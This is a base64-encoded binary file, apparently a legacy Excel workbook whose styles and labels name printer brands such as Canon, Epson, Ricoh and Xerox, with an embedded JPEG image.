ERFAIEAgAADAIOAAFAAPAAAAAQUZAAB4ERFAIEAgAAQJIOAAFAAPAAAAQQUJAAB8ERFAIEAgAADA IOAAFAAPAAAAMQUJAAB8ERFAIEAgAADAIOAAFAAPALIAMQUJAAB8ERFAIEAgAADAIOAAFAAPAAAA 8QISAAA4ERFAIEAgAADAIOAAFAAPAAAA8QIQAAA4ERFAIEAgAADAIOAAFAAPAAAA8QIaAAB8ERFA IEAgAAQJIOAAFAAPAAAA8QIoAAB4ERFAIEAgAAQJIOAAFAAPAAAAoQYSAAB4ERFAIEAgAADAIOAA FAAPAAAAoQYYAAA4ERFAIEAgAADAIOAAFAAPAAAAoQYgAABoERFAIEAgAAQJIOAAFAAPAAAAoQYa AAB4ERFAIEAgAADAIOAAFAAPAAAAoQYSAAB8ERFAIEAgAAQJIOAAFAAPAAAA8QIaAAA4ERFAIEAg AADAIOAAFAAPAAAA8QIgAAAoERFAIEAgAADAIOAAFAAPAAAAoQYhAAB4ERFAIEAgAAQJIOAAFAAP AAAAAQAQAAA4ERFAIEAgAADAIOAAFAAPAAAA8QIYAAA4ERFAIEAgAADAIOAAFAAPAAAA8QIZAAA4 ERFAIEAgAADAIOAAFAAPAAAAwQYaAAB4ERFAIEAgAAQJIOAAFAAPAAAAwQYZAAB4ERFAIEAgAAQJ IOAAFAAPAAAA8QYSAAA4ERFAIEAgAADAIOAAFAAPAAAA4QYQAAA4ERFAIEAgAADAIOAAFAAPAAAA 4QYRAAA4ERFAIEAgAADAIOAAFAAPAAAA4QYgAAAoERFAIEAgAADAIOAAFAAPAAAA8QYSAAB8ERFA IEAgAAQJIOAAFAAPAAAA4QYoAAB4ERFAIEAgAAQJIOAAFAAPAAAA4QYgAAB4ERFAIEAgAAQJIOAA FAAPAAAA8QYSAAB4ERFAIEAgAAQJIOAAFAAPAAAA4QYRAAB4ERFAIEAgAAQJIOAAFAAPAAAA0QYR AAA4AAAAAAAAAADAIOAAFAAPAAAAoQYZAAB4AAAAAAAAAADAIOAAFAAPADoA0QYRAAA8AAAAAAAA AADAIOAAFAAPAAAAoQYZAAA4AAEAAEAAAADAIOAAFAAPAAAAMQQZAAB4AAAAAAAAAADAIOAAFAAP AAAAMQQZAAA4AAAAAAAAAADAIOAAFAAPAAAAMQQpAAB4AAAAAAAAAAQJIOAAFAAPAAAAMQQZAAB4 AAAAAAAAAACrIOAAFAAPAAAAMQQaAAA4AAAAAAAAAADAIOAAFAAPAAAAMQQaAAB4AAAAAAAAAACr IOAAFAAPAAAAMQQaAAB4AAAAAAAAAADAIOAAFAAPAAAAMQQZAAA4AAEAAEAAAADAIOAAFAAPAAAA MQQaAAA4AAEAAEAAAADAIOAAFAAPAAAAMQQaAAB4ABAAAAAgAAQJIOAAFAAPAAAAMQQRAAB4ABAA AAAgAACzIOAAFAApAAAAsQYgAAAoABAAAAAgAADAIOAAFAAPAAAAMQQaAAB4AAAAAAAAAAQJIOAA FAA2AAAAwQYRAAB4AAAAAAAAAAQJIOAAFAApAAAAsQYgAAAoAAAAAAAAAADAIOAAFAAPAAAAMQQR AAB4AAAAAAAAAACzIOAAFAAPAAAAAQAaAAB4AABAIEAgAADAIOAAFAAPAAAAAQAZAAB4AABAIEAg AADAIOAAFAAUAAAAAQAiAAA4EBAAIAAgAADAIOAAFAA3AAAAkQURAAB8AAAAAAAAAADAIOAAFAAP AAAAoQcJAAB8AAAIBAgAAACbIOAAFAAPAAAAsQcJAAB8AAAIBAgAAACbIOAAFAAPAAAAAQAgAAAo AAAAAAAAAADAIOAAFAAtAAAAoQYiAAA4AAAAIEAgAADAIOAAFAAPAAAAAQARAAB4AABAIEAAAACv IOAAFAAPAAAAAQAZAAB4AABAIAAgAACvIOAAFAAtAAAAAQAQAAAYAAAAAAAAAADAIOAAFAAPAAAA AQAZAAB4AAAAAAAAAACoIOAAFAApAAAAEQcpAAB8AAAIBAAAAADAIOAAFAApAAAAEQcpAAB8AAAI BAAEAADAIOAAFAApAAAAEQcpAAB8AAAIBAgAAACbIOAAFAApAAAAEQcpAAB8AAAIBAAAAACbIOAA FAApAAAAEQcpAAB8AAAIBAAEAACbIOAAFAAPAAAAAQARAAB4AAAAAAAAAADAIOAAFAApAAAAQQcp AAB8AAAIBAgAAADAIOAAFAApAAAAAQgpAAB8AAAIBAgAAADAIOAAFAApAAAAAQgpAAB8AAAIBAAE AADAIOAAFAApAAAAsQcZAAB8AAAIBAgAAADAIOAAFAApAAAAsQcZAAB8AAAIBAAEAADAIOAAFAAP AAAAsQcJAAB8AAAAAAAAAACbIOAAFAApAAAAsQcpAAB8AAAIBAgAAADAIOAAFAApAAAAsQcpAAB8 AAAIBAAAAADAIOAAFAApAAAAsQcpAAB8AAAIBAAEAADAIOAAFAApAAAA4QcpAAB8AAAIBAgAAADA IOAAFAApAAAA4QcpAAB8AAAIBAAAAADAIOAAFAApAAAA4QcpAAB8AAAIBAAEAADAIOAAFAApAAAA 4QcpAAB8AAAIBAgAAACbIOAAFAApAAAA4QcpAAB8AAAIBAAAAACbIOAAFAApAAAA4QcpAAB8AAAI BAAEAACbIOAAFAApAAAAIQgpAAB8AAAIBAgAAADAIOAAFAApAAAAIQgpAAB8AAAIBAAAAADAIOAA FAApAAAAIQgpAAB8AAAIBAAEAADAIOAAFAApAAAAEQcpAAB8AAAIBAgAAADAIOAAFAAPAAAAAQAQ AAA4AQBAAAAAAADAIOAAFAAPAAAAAQAYAAAYAAAAAAAAAADAIOAAFAAPAAAAAQAQAAAYAAAAAAAA AADAIOAAFAAPAAAAAQAZAAAYAAAAAAAAAADAIOAAFAAPAAAAAQAQAAA4EAAAIAAAAADAIOAAFAAp AAAAUQYqAAB8AABAIEAgAADAIOAAFAAOAAAAAQAiAAA4EAAAIAAAAADAIOAAFAA6AAAAAQASAAA4 EAAAIAAAAADAIOAAFAA7AAAAAQASAAA4EAAAIAAAAADAIOAAFAA8AAAAAQASAAA4EAAAIAAAAADA IOAAFAAPAAAAkQYRAAA4AAAAAAAAAADAIOAAFAAyAAAAAQASAAAYAAAAAAAAAADAIOAAFAAzAAAA AQASAAAYAAAAAAAAAADAIOAAFAA0AAAAUQgSAACYAAAAAAAAAADAIOAAFAA0AAAAUQgiAACYAAAA AAAAAADAIOAAFAA1AAAAUQgSAACYAAAAAAAAAADAIOAAFAAUAAAAAQAQAAAYAAAAAAAAAADAIOAA FAAzAAAAAQAgAAAIAAAAAAAAAADAIOAAFAAzAAAAAQARAAAYAAAAAAAAAADAIOAAFAAzAAAAAQAQ AAAYAAAAAAAAAADAIOAAFAAPAAAAAQAZAAA4AABAIEAgAADAIOAAFAAPAAAAAQARAAA4AABAIEAg AADAIOAAFAAPAAAAAQASAAA4AABAIEAgAADAIOAAFAApAAAAQQcpAAB8AAAIBAAAAADAIOAAFAAp AAAAQQcpAAB8AAAIBAAEAADAIOAAFAApAAAAQQchAAB8AAAIBAgAAADAIOAAFAApAAAAQQchAAB8 AAAIBAAAAADAIOAAFAApAAAAQQchAAB8AAAIBAAEAADAIOAAFAApAAAAwQcqAAB8AAAIBAgAAADA IOAAFAApAAAAwQcqAAB8AAAIBAAEAADAIOAAFAAPAAAAAQAQAAB4AQBAAAAAAADAIOAAFAAPAAAA AQAQAAB4AAAAAAAAAADAIOAAFAAPAAAAAQAQAAB4EAAAIAAAAADAIOAAFAAPAAAAAQAZAAB4AAAA AAAAAADAIOAAFAAPAAAAAQARAAAYAAAAAAAAAADAIOAAFAAPAAAAAQAQAAA4AAAAAAAAAADAIOAA FAA3AAAAkQURAAB8AAAAAAAAAADAIOAAFAAPAAAAAQEgAAA4AAAAAEAgAADAIOAAFAAPAAAAAQAZ AAB4AABAIEAAAADAIOAAFAAPAAAAAQAZAAB4AABAIAAAAADAIOAAFAAPAAAAAQAZAAB4AABAIAAg AADAIOAAFAAPAAAAMQQZAAA4AAEAAEAAAADAIOAAFAAPAAAAMQQZAAA4AAAAAAAAAADAIOAAFAAP AAAAAQARAAA4AAAAAAAAAADAIOAAFAAPAAAAMQQZAAB4AAAAAAAAAACrIOAAFAAPAAAAAQASAAA4 AQFAAEAAAADAIOAAFAAPAAAAAQASAAA4AAEAAEAAAADAIOAAFAAPAAAAAQASAAA4EAEAIEAAAADA IOAAFAAPAAAAAQASAAA4AQBAAAAAAADAIOAAFAAPAAAAAQASAAA4AAAAAAAAAADAIOAAFAAPAAAA AQASAAA4EAAAIAAAAADAIOAAFAAPAAAAMQQZAAB4AAAAAAAAAADAIOAAFAAPAAAAMQQZAAB4AAAA AAAAAACzIOAAFAAPAAAAMQQRAAB4AAAAAAAAAACzIOAAFAAPAAAAMQQaAAA4AAAAAAAAAADAIOAA FAAPAAAAcQUpAAB8ERFAIEAgAADAIOAAFAAPAAAA4QQpAAB8ERFAIEAgAADAIOAAFAAPAAAAIQUZ AAB4ERFAIEAgAAQJIOAAFAAPAAAAoQYZAAB4ERFAIEAgAADAIOAAFAAPAAAAIQURAAA4ERFAIEAg AADAIOAAFAAUAAAAAQASAAA4AQBAAAAAAADAIOAAFAAUAAAAAQASAAA4AAAAAAAAAADAIOAAFAAU AAAAAQASAAA4EAAAIAAAAADAIOAAFAAPAAAAAQApAAA4AABAIEAAAADAIOAAFAAPAAAAAQApAAA4 AABAIAAAAADAIOAAFAAPAAAAAQApAAA4AABAIAAgAADAIOAAFAAPAAAAAQApAAA4ABBAIAAgAADA IOAAFAAPAAAAQQQZAAB4AABAIEAgAADAIOAAFAAPAAAAQQQZAAB4AABAIAAgAADAIOAAFAAPAAAA cQQZAAB4AABAIEAgAACJIOAAFAAPAAAAcQQZAAB4AABAAEAgAACJIOAAFAAPAAAAcQQZAAB4AABA IEAAAADAIOAAFAAPAAAAcQQRAAB4AABAIAAAAADAIOAAFAAPAAAAcQQRAAB4ABBAIAAgAADAIOAA FAAUAAAAAQASAAA4AAEAAEAAAADAIOAAFAAUAAAAAQASAAA4EAEAIEAAAADAIOAAFAAPAAAAcQQR AAB4AABAIEAgAADAIOAAFAAPAAAAcQQRAAB4AABAIAAgAADAIOAAFAAPAAAAkQQpAAB8AAAIBAgA AACbIOAAFAAPAAAAkQQpAAB8AAAIBAAAAACbIOAAFAAPAAAAkQQpAAB8AAAIBAAEAACbIOAAFAAP AAAAsQQhAAB4AAAAAEAgAADAIOAAFAAPAAAAkQQJAAB8AAAIBAgEAADAIOAAFAAPAAAAkQQpAAB8 AAAIBAgAAADAIOAAFAAPAAAAkQQpAAB8AAAIBAAAAADAIOAAFAAPAAAAkQQpAAB8AAAIBAAEAADA IOAAFAAPAAAAAQARAAB4AQFAAEAAAADAIOAAFAAPAAAAAQARAAB4AQBAAAAAAADAIOAAFAApAAAA UQMpAAB8AAAIBAgAAADAIOAAFAApAAAAUQMpAAB8AAAIBAAEAADAIOAAFAApAAAAUQMpAAB8AAAI BAAAAADAIOAAFAApAAAAgQMpAAB8AAAIBAgAAADAIOAAFAApAAAAgQMpAAB8AAAIBAAAAADAIOAA FAApAAAAgQMpAAB8AAAIBAAEAADAIOAAFAApAAAAsQMpAAB8AAAIBAgAAACbIOAAFAApAAAAsQMp AAB8AAAIBAAAAACbIOAAFAApAAAAsQMpAAB8ABAIBAAgAACbIOAAFAApAAAAcQMpAAB8AAAIBAgA AADAIOAAFAApAAAAcQMpAAB8AAAIBAAAAADAIOAAFAApAAAAcQMpAAB8AAAIBAAEAADAIOAAFAAp AAAAEQMpAAB8AAAIBAgAAADAIOAAFAApAAAAEQMpAAB8AAAIBAAAAADAIOAAFAApAAAAEQMpAAB8 AAAIBAAEAADAIOAAFAApAAAAEQMJAAB8AAAIBAgAAADAIOAAFAApAAAAEQMJAAB8AAAIBAAAAADA IOAAFAApAAAAEQMJAAB8AAAIBAAEAADAIOAAFAApAAAAoQMpAAB8AAAIBAgAAACbIOAAFAApAAAA oQMpAAB8AAAIBAAAAACbIOAAFAApAAAAoQMpAAB8ABAIBAAgAACbIOAAFAAPAAAAAQARAAB4AAEA AEAAAADAIOAAFAAPAAAAAQARAAB4EAEAIEAAAADAIOAAFAAPAAAAAQARAAB4EAAAIAAAAADAIOAA FAAxAAAAAQAaAAA4AAEAAEAAAADAIOAAFAAxAAAAAQAaAAA4AAAAAAAAAADAIOAAFAAxAAAAAQAa AAA4ABAAAAAgAADAIOAAFAAPAAAAAQAQAAA4AQFAAEAAAADAIOAAFAAPAAAA0QUpAAB8AAAIBAgA AADAIOAAFAAPAAAA0QUpAAB8AAAIBAAAAADAIOAAFAAPAAAA0QUpAAB8AAAIBAAEAADAIOAAFAAP AAAAwQUpAAB8AAAIBAgAAADAIOAAFAAPAAAAwQUpAAB8AAAIBAAAAADAIOAAFAAPAAAAwQUpAAB8 AAAIBAAEAADAIOAAFAAPAAAAAQARAAA4ABAAAAAgAADAIOAAFAAPAAAA8QUpAAB8AAAIBAgAAADA IOAAFAAPAAAA8QUpAAB8AAAIBAAAAADAIOAAFAAPAAAA8QUpAAB8AAAIBAAEAADAIOAAFAAPAAAA EQYpAAB8AAAIBAgAAADAIOAAFAAPAAAAEQYpAAB8AAAIBAAAAADAIOAAFAAPAAAAEQYpAAB8AAAI BAAEAADAIOAAFAAPAAAAAQARAAA4AAEAAEAAAADAIOAAFAAPAAAAAQARAAA4EAEAIEAAAADAIOAA FAAPAAAAAQARAAA4EAAAIAAAAADAIOAAFAAPAAAAAQAQAAA4AAFAIEAgAADAIOAAFAAPAAAAAQAQ AAA4AABAIEAgAADAIOAAFAAPAAAAoQYYAAA4ERFAIEAgAADAIOAAFAAPAAAA8QIZAAB4ERFAIEAg AAQJIOAAFAAPAAAA8QIoAAA4ERFAIEAgAADAIOAAFAAPAAAA8QIRAAB4ERFAIEAgAADAIOAAFAAP AAAAAQAQAAA4EAFAIEAgAADAIOAAFAAPAAAAAQAQAAA4EABAIEAgAADAIJMCBQAAAAAAAJMCDAAQ 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 AQEBAQEBAAAAAAAAAAABAgMEBQYHCAkKC//EALUQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFB BhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RV VldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrC w8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5+v/EAB8BAAMBAQEBAQEBAQEAAAAA AAABAgMEBQYHCAkKC//EALURAAIBAgQEAwQHBQQEAAECdwABAgMRBAUhMQYSQVEHYXETIjKBCBRC kaGxwQkjM1LwFWJy0QoWJDThJfEXGBkaJicoKSo1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdo aWpzdHV2d3h5eoKDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT 1NXW19jZ2uLj5OXm5+jp6vLz9PX29/j5+v/aAAwDAQACEQMRAD8A/VOiiigAooooAKKKKACiiigA ooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACi iigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKK KACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigA ooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACi iigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKK KACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigA ooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKQnFGf agBaKbu9qQuc8A0rgPoqMSA+o/Cnb/Y0k76iuOopofPagNntTuMdRSA5paYBRRRQAUUUUAFFFFAB RRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFF FFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUU UAFFFFABRRRQAUUUUAFFFFABRRRQBG/ANNLY68D1pz9+K5/xfrLaPpzOgBkf5VBPGa8vMMbTy/Dz xNR6RRpTpupNRXUu6lr1lpilp51THYnmufuPiPYxlhGrzD1Uda89mkkuZDJM5mkJzuemiRjnnnpn P/1q/mzM/ErG1KjWGXLHofWUcnppXm9Tv4/iXakjfBKAe+B/jW1YeLtNvztS4Ct/dbg15MGbHr7k 0FQygEcjofSuHCeJeZ0pr20VJfcaVMnpSXuaHuUUqyAFDuB96lBznivItG8U3WjsvztNbjqjnJH0 r0rRtcttXtw8L7uORnkfWv3Th3izCZ5HlXuz7X/I+cxWBqYZ66o1l6UtMD4A70u/2NfoJ5w6ikzx mjIoAWikHSgHNAC0UUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRR RQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFF ABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFADGHWuS8f6dJf6YHjG5omD7e5Fdc QTUUkfmDBAIPXPcV4mbZesyws8M3bmRtRqOlNTXQ8K3g5JyOehHT60DofrXpGueA4L0vJa/6LKTn K8g/UVyF94S1Ow6weco/ij7/AIV/I+c8FZjls24xcoX3R9vhsypVlq7Mx6KcyMrEMrIwOMMMU0Hg nHT2r4WpRnRdpqzPWUlJXQucYOSDV3RNXn0W+E8R/dn/AFka/wAQqiDnqCp9DRkgEjr0rfBY2rgK 8a1KTUou+hjVpwrRcZI9r0/UI7+0SWNtwcZ4q2DkZPBrzbwJrZtbs2Up/dSfMnPAPpXo4fgd896/ tLhnPIZ1gY138WzPz3F0Hh6ri9iQNkUx2x1OKZLcpCjFiQFAJwK8H8f/ALY/gTwVq02lC5m1S+hc 